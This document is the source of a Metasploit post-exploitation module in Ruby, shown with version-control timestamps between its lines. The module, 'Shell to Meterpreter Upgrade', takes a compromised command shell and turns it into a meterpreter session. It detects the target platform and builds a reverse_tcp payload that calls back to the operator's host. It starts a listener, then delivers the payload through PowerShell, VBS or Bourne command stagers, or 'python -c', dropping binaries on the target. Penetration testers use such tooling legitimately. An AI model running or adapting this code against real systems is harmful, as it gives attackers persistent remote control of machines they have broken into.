2014-05-27 11:12:09 +00:00
|
|
|
##
|
2014-12-11 22:34:10 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-05-27 11:12:09 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/exploit/powershell'
|
|
|
|
require 'msf/core/post/windows/powershell'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Exploit::Powershell
|
|
|
|
include Post::Windows::Powershell
|
|
|
|
|
2014-08-02 20:32:45 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-05-27 11:12:09 +00:00
|
|
|
'Name' => 'Shell to Meterpreter Upgrade',
|
|
|
|
'Description' => %q{
|
|
|
|
This module attempts to upgrade a command shell to meterpreter. The shell
|
|
|
|
platform is automatically detected and the best version of meterpreter for
|
|
|
|
the target is selected. Currently meterpreter/reverse_tcp is used on Windows
|
|
|
|
and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
|
|
|
|
'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
|
|
|
|
'SessionTypes' => [ 'shell' ]
|
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptAddress.new('LHOST',
|
2015-06-16 19:42:47 +00:00
|
|
|
[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
|
2014-05-27 11:12:09 +00:00
|
|
|
OptInt.new('LPORT',
|
2015-06-16 19:42:47 +00:00
|
|
|
[true, 'Port for payload to connect to.', 4433]),
|
2014-05-27 11:12:09 +00:00
|
|
|
OptBool.new('HANDLER',
|
2015-03-21 01:57:13 +00:00
|
|
|
[ true, 'Start an exploit/multi/handler to receive the connection', true])
|
2014-05-27 11:12:09 +00:00
|
|
|
], self.class)
|
2015-06-13 16:37:41 +00:00
|
|
|
register_advanced_options([
|
|
|
|
OptInt.new('HANDLE_TIMEOUT',
|
2015-06-16 19:42:47 +00:00
|
|
|
[true, 'How long to wait (in seconds) for the session to come back.', 30]),
|
|
|
|
OptEnum.new('WIN_TRANSFER',
|
|
|
|
[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
|
|
|
|
OptString.new('PAYLOAD_OVERRIDE',
|
2015-11-14 18:31:11 +00:00
|
|
|
[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
|
|
|
|
OptString.new('BOURNE_PATH',
|
2015-12-02 09:34:09 +00:00
|
|
|
[false, 'Remote path to drop binary']),
|
2015-11-14 18:31:11 +00:00
|
|
|
OptString.new('BOURNE_FILE',
|
2015-12-02 09:34:09 +00:00
|
|
|
[false, 'Remote filename to use for dropped binary'])
|
2015-06-13 16:37:41 +00:00
|
|
|
], self.class)
|
2014-08-02 20:32:45 +00:00
|
|
|
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
|
2015-06-13 16:37:41 +00:00
|
|
|
# Run method for when run command is issued
|
2014-05-27 11:12:09 +00:00
|
|
|
def run
|
2015-06-13 16:37:41 +00:00
|
|
|
print_status("Upgrading session ID: #{datastore['SESSION']}")
|
|
|
|
|
|
|
|
if session.type =~ /meterpreter/
|
2015-06-16 19:42:47 +00:00
|
|
|
print_error("Shell is already Meterpreter.")
|
2015-06-13 16:37:41 +00:00
|
|
|
return nil
|
|
|
|
end
|
2014-05-27 11:12:09 +00:00
|
|
|
|
|
|
|
# Try hard to find a valid LHOST value in order to
|
|
|
|
# make running 'sessions -u' as robust as possible.
|
|
|
|
if datastore['LHOST']
|
|
|
|
lhost = datastore['LHOST']
|
|
|
|
elsif framework.datastore['LHOST']
|
|
|
|
lhost = framework.datastore['LHOST']
|
|
|
|
else
|
2014-08-02 20:32:45 +00:00
|
|
|
lhost = session.tunnel_local.split(':')[0]
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
|
2015-06-13 16:37:41 +00:00
|
|
|
# If nothing else works...
|
2014-05-27 11:12:09 +00:00
|
|
|
lhost = Rex::Socket.source_address if lhost.blank?
|
|
|
|
|
|
|
|
lport = datastore['LPORT']
|
|
|
|
|
|
|
|
# Handle platform specific variables and settings
|
|
|
|
case session.platform
|
|
|
|
when /win/i
|
|
|
|
platform = 'win'
|
|
|
|
payload_name = 'windows/meterpreter/reverse_tcp'
|
|
|
|
lplat = [Msf::Platform::Windows]
|
|
|
|
larch = [ARCH_X86]
|
2014-08-02 20:32:45 +00:00
|
|
|
psh_arch = 'x86'
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Platform: Windows")
|
2014-05-27 11:12:09 +00:00
|
|
|
when /osx/i
|
|
|
|
platform = 'python'
|
|
|
|
payload_name = 'python/meterpreter/reverse_tcp'
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Platform: OS X")
|
2014-05-27 11:12:09 +00:00
|
|
|
when /solaris/i
|
|
|
|
platform = 'python'
|
|
|
|
payload_name = 'python/meterpreter/reverse_tcp'
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Platform: Solaris")
|
2014-05-27 11:12:09 +00:00
|
|
|
else
|
2015-06-13 16:37:41 +00:00
|
|
|
# Find the best fit, be specific with uname to avoid matching hostname or something else
|
2015-12-22 03:26:31 +00:00
|
|
|
target_info = cmd_exec('uname -ms')
|
2014-05-29 23:27:17 +00:00
|
|
|
if target_info =~ /linux/i && target_info =~ /86/
|
2014-05-29 11:08:42 +00:00
|
|
|
# Handle linux shells that were identified as 'unix'
|
2014-05-27 11:12:09 +00:00
|
|
|
platform = 'linux'
|
|
|
|
payload_name = 'linux/x86/meterpreter/reverse_tcp'
|
|
|
|
lplat = [Msf::Platform::Linux]
|
|
|
|
larch = [ARCH_X86]
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Platform: Linux")
|
2015-12-22 11:32:31 +00:00
|
|
|
elsif target_info =~ /darwin/i
|
|
|
|
platform = 'python'
|
|
|
|
payload_name = 'python/meterpreter/reverse_tcp'
|
|
|
|
vprint_status("Platform: OS X")
|
|
|
|
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
|
2014-05-29 11:08:42 +00:00
|
|
|
# Generic fallback for OSX, Solaris, Linux/ARM
|
2014-05-27 11:12:09 +00:00
|
|
|
platform = 'python'
|
|
|
|
payload_name = 'python/meterpreter/reverse_tcp'
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Platform: Python [fallback]")
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
end
|
2015-06-13 16:37:41 +00:00
|
|
|
payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE']
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Upgrade payload: #{payload_name}")
|
2014-05-27 11:12:09 +00:00
|
|
|
|
|
|
|
if platform.blank?
|
2015-12-22 03:25:34 +00:00
|
|
|
print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
|
2014-05-27 11:12:09 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2014-08-02 20:32:45 +00:00
|
|
|
payload_data = generate_payload(lhost, lport, payload_name)
|
2014-05-27 11:12:09 +00:00
|
|
|
if payload_data.blank?
|
|
|
|
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
if datastore['HANDLER']
|
2014-08-02 20:32:45 +00:00
|
|
|
listener_job_id = create_multihandler(lhost, lport, payload_name)
|
2014-05-27 11:12:09 +00:00
|
|
|
if listener_job_id.blank?
|
2015-06-13 16:37:41 +00:00
|
|
|
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
2014-05-27 11:12:09 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
case platform
|
|
|
|
when 'win'
|
2015-10-02 20:26:42 +00:00
|
|
|
if session.type == 'powershell'
|
|
|
|
template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts')
|
|
|
|
psh_payload = case datastore['Powershell::method']
|
|
|
|
when 'net'
|
|
|
|
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
|
|
|
|
when 'reflection'
|
|
|
|
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
|
|
|
|
when 'old'
|
|
|
|
Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
|
|
|
|
when 'msil'
|
|
|
|
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
|
|
|
else
|
|
|
|
fail RuntimeError, 'No Powershell method specified'
|
|
|
|
end
|
|
|
|
|
|
|
|
# prepend_sleep => 1
|
|
|
|
psh_payload = 'Start-Sleep -s 1;' << psh_payload
|
|
|
|
|
|
|
|
encoded_psh_payload = encode_script(psh_payload)
|
|
|
|
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
|
|
|
|
else # shell
|
|
|
|
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
|
|
|
|
vprint_status("Transfer method: Powershell")
|
|
|
|
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
|
|
|
|
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
|
|
|
|
else
|
|
|
|
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
|
|
|
|
vprint_status("Transfer method: VBS [fallback]")
|
|
|
|
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
|
|
|
aborted = transmit_payload(exe)
|
|
|
|
end
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
when 'python'
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Transfer method: Python")
|
2014-05-27 11:12:09 +00:00
|
|
|
cmd_exec("python -c \"#{payload_data}\"")
|
|
|
|
else
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Transfer method: Bourne shell [fallback]")
|
2014-05-27 11:12:09 +00:00
|
|
|
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
|
|
|
aborted = transmit_payload(exe)
|
|
|
|
end
|
|
|
|
|
2015-06-13 16:37:41 +00:00
|
|
|
if datastore['HANDLER']
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Cleaning up handler")
|
2015-06-13 16:37:41 +00:00
|
|
|
cleanup_handler(listener_job_id, aborted)
|
|
|
|
end
|
2014-05-27 11:12:09 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def transmit_payload(exe)
|
|
|
|
#
|
|
|
|
# Generate the stager command array
|
|
|
|
#
|
|
|
|
linemax = 1700
|
|
|
|
if (session.exploit_datastore['LineMax'])
|
|
|
|
linemax = session.exploit_datastore['LineMax'].to_i
|
|
|
|
end
|
|
|
|
opts = {
|
|
|
|
:linemax => linemax,
|
2015-11-17 13:10:03 +00:00
|
|
|
#:nodelete => true # keep temp files (for debugging)
|
2014-05-27 11:12:09 +00:00
|
|
|
}
|
|
|
|
if session.platform =~ /win/i
|
2014-08-02 20:32:45 +00:00
|
|
|
opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64')
|
2014-05-27 11:12:09 +00:00
|
|
|
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
|
|
|
|
else
|
2014-05-29 11:08:42 +00:00
|
|
|
opts[:background] = true
|
2015-11-14 18:31:11 +00:00
|
|
|
opts[:temp] = datastore['BOURNE_PATH']
|
|
|
|
opts[:file] = datastore['BOURNE_FILE']
|
2014-05-27 11:12:09 +00:00
|
|
|
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
|
|
|
|
# Note: if a OS X binary payload is added in the future, use CmdStagerPrintf
|
|
|
|
# as /bin/sh on OS X doesn't support the -n option on echo
|
|
|
|
end
|
|
|
|
|
|
|
|
cmds = cmdstager.generate(opts)
|
2014-08-02 20:32:45 +00:00
|
|
|
if cmds.nil? || cmds.length < 1
|
2015-06-13 16:37:41 +00:00
|
|
|
print_error('The command stager could not be generated.')
|
2014-05-27 11:12:09 +00:00
|
|
|
raise ArgumentError
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Calculate the total size
|
|
|
|
#
|
|
|
|
total_bytes = 0
|
|
|
|
cmds.each { |cmd| total_bytes += cmd.length }
|
|
|
|
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Starting transfer...")
|
2014-05-27 11:12:09 +00:00
|
|
|
begin
|
|
|
|
#
|
|
|
|
# Run the commands one at a time
|
|
|
|
#
|
|
|
|
sent = 0
|
2014-06-21 15:12:17 +00:00
|
|
|
aborted = false
|
2014-05-27 11:12:09 +00:00
|
|
|
cmds.each { |cmd|
|
2015-06-29 16:36:28 +00:00
|
|
|
ret = cmd_exec(cmd)
|
2014-08-02 20:32:45 +00:00
|
|
|
if !ret
|
2014-05-27 11:12:09 +00:00
|
|
|
aborted = true
|
|
|
|
else
|
|
|
|
ret.strip!
|
2015-06-29 16:36:28 +00:00
|
|
|
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
if aborted
|
2014-10-22 19:08:14 +00:00
|
|
|
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
|
2014-08-02 20:32:45 +00:00
|
|
|
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
|
2014-05-27 11:12:09 +00:00
|
|
|
break
|
|
|
|
end
|
|
|
|
|
|
|
|
sent += cmd.length
|
|
|
|
|
|
|
|
progress(total_bytes, sent)
|
|
|
|
}
|
|
|
|
rescue ::Interrupt
|
|
|
|
# TODO: cleanup partial uploads!
|
|
|
|
aborted = true
|
|
|
|
rescue => e
|
|
|
|
print_error("Error: #{e}")
|
|
|
|
aborted = true
|
|
|
|
end
|
|
|
|
|
|
|
|
return aborted
|
|
|
|
end
|
|
|
|
|
|
|
|
def cleanup_handler(listener_job_id, aborted)
|
|
|
|
# Return if the job has already finished
|
|
|
|
return nil if framework.jobs[listener_job_id].nil?
|
2014-10-22 18:40:29 +00:00
|
|
|
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
|
2014-08-02 20:32:45 +00:00
|
|
|
if !aborted
|
|
|
|
timer = 0
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back")
|
2015-06-13 16:37:41 +00:00
|
|
|
while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
|
2014-08-02 20:32:45 +00:00
|
|
|
sleep(1)
|
|
|
|
timer += 1
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
end
|
2015-06-13 16:37:41 +00:00
|
|
|
print_status('Stopping exploit/multi/handler')
|
2014-08-02 20:32:45 +00:00
|
|
|
framework.jobs.stop_job(listener_job_id)
|
2014-10-22 18:40:29 +00:00
|
|
|
}
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Show the progress of the upload
|
|
|
|
#
|
|
|
|
def progress(total, sent)
|
|
|
|
done = (sent.to_f / total.to_f) * 100
|
2015-06-13 16:37:41 +00:00
|
|
|
print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total])
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Method for checking if a listener for a given IP and port is present
|
|
|
|
# will return true if a conflict exists and false if none is found
|
2014-08-02 20:32:45 +00:00
|
|
|
def check_for_listener(lhost, lport)
|
|
|
|
client.framework.jobs.each do |k, j|
|
2014-05-27 11:12:09 +00:00
|
|
|
if j.name =~ / multi\/handler/
|
|
|
|
current_id = j.jid
|
2014-08-02 20:32:45 +00:00
|
|
|
current_lhost = j.ctx[0].datastore['LHOST']
|
|
|
|
current_lport = j.ctx[0].datastore['LPORT']
|
|
|
|
if lhost == current_lhost && lport == current_lport.to_i
|
2014-05-27 11:12:09 +00:00
|
|
|
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
|
2014-05-29 23:27:17 +00:00
|
|
|
return true
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2014-05-29 23:27:17 +00:00
|
|
|
return false
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
|
2015-06-13 16:37:41 +00:00
|
|
|
# Starts a exploit/multi/handler session
|
2014-08-02 20:32:45 +00:00
|
|
|
def create_multihandler(lhost, lport, payload_name)
|
2014-05-27 11:12:09 +00:00
|
|
|
pay = client.framework.payloads.create(payload_name)
|
|
|
|
pay.datastore['LHOST'] = lhost
|
|
|
|
pay.datastore['LPORT'] = lport
|
2015-06-13 16:37:41 +00:00
|
|
|
print_status('Starting exploit/multi/handler')
|
2014-08-02 20:32:45 +00:00
|
|
|
if !check_for_listener(lhost, lport)
|
2014-05-27 11:12:09 +00:00
|
|
|
# Set options for module
|
2014-08-02 20:32:45 +00:00
|
|
|
mh = client.framework.exploits.create('multi/handler')
|
2014-05-27 11:12:09 +00:00
|
|
|
mh.share_datastore(pay.datastore)
|
|
|
|
mh.datastore['WORKSPACE'] = client.workspace
|
|
|
|
mh.datastore['PAYLOAD'] = payload_name
|
|
|
|
mh.datastore['EXITFUNC'] = 'thread'
|
|
|
|
mh.datastore['ExitOnSession'] = true
|
|
|
|
# Validate module options
|
|
|
|
mh.options.validate(mh.datastore)
|
|
|
|
# Execute showing output
|
|
|
|
mh.exploit_simple(
|
|
|
|
'Payload' => mh.datastore['PAYLOAD'],
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
|
|
|
'RunAsJob' => true
|
|
|
|
)
|
|
|
|
|
|
|
|
# Check to make sure that the handler is actually valid
|
|
|
|
# If another process has the port open, then the handler will fail
|
|
|
|
# but it takes a few seconds to do so. The module needs to give
|
|
|
|
# the handler time to fail or the resulting connections from the
|
|
|
|
# target could end up on on a different handler with the wrong payload
|
|
|
|
# or dropped entirely.
|
|
|
|
select(nil, nil, nil, 5)
|
2014-08-02 20:32:45 +00:00
|
|
|
return nil if framework.jobs[mh.job_id.to_s].nil?
|
2014-05-27 11:12:09 +00:00
|
|
|
|
|
|
|
return mh.job_id.to_s
|
|
|
|
else
|
2014-08-02 20:32:45 +00:00
|
|
|
print_error('A job is listening on the same local port')
|
2014-05-27 11:12:09 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-08-02 20:32:45 +00:00
|
|
|
def generate_payload(lhost, lport, payload_name)
|
2014-05-27 11:12:09 +00:00
|
|
|
payload = framework.payloads.create(payload_name)
|
|
|
|
options = "LHOST=#{lhost} LPORT=#{lport}"
|
|
|
|
buf = payload.generate_simple('OptionStr' => options)
|
2014-08-02 20:32:45 +00:00
|
|
|
buf
|
2014-05-27 11:12:09 +00:00
|
|
|
end
|
|
|
|
end
|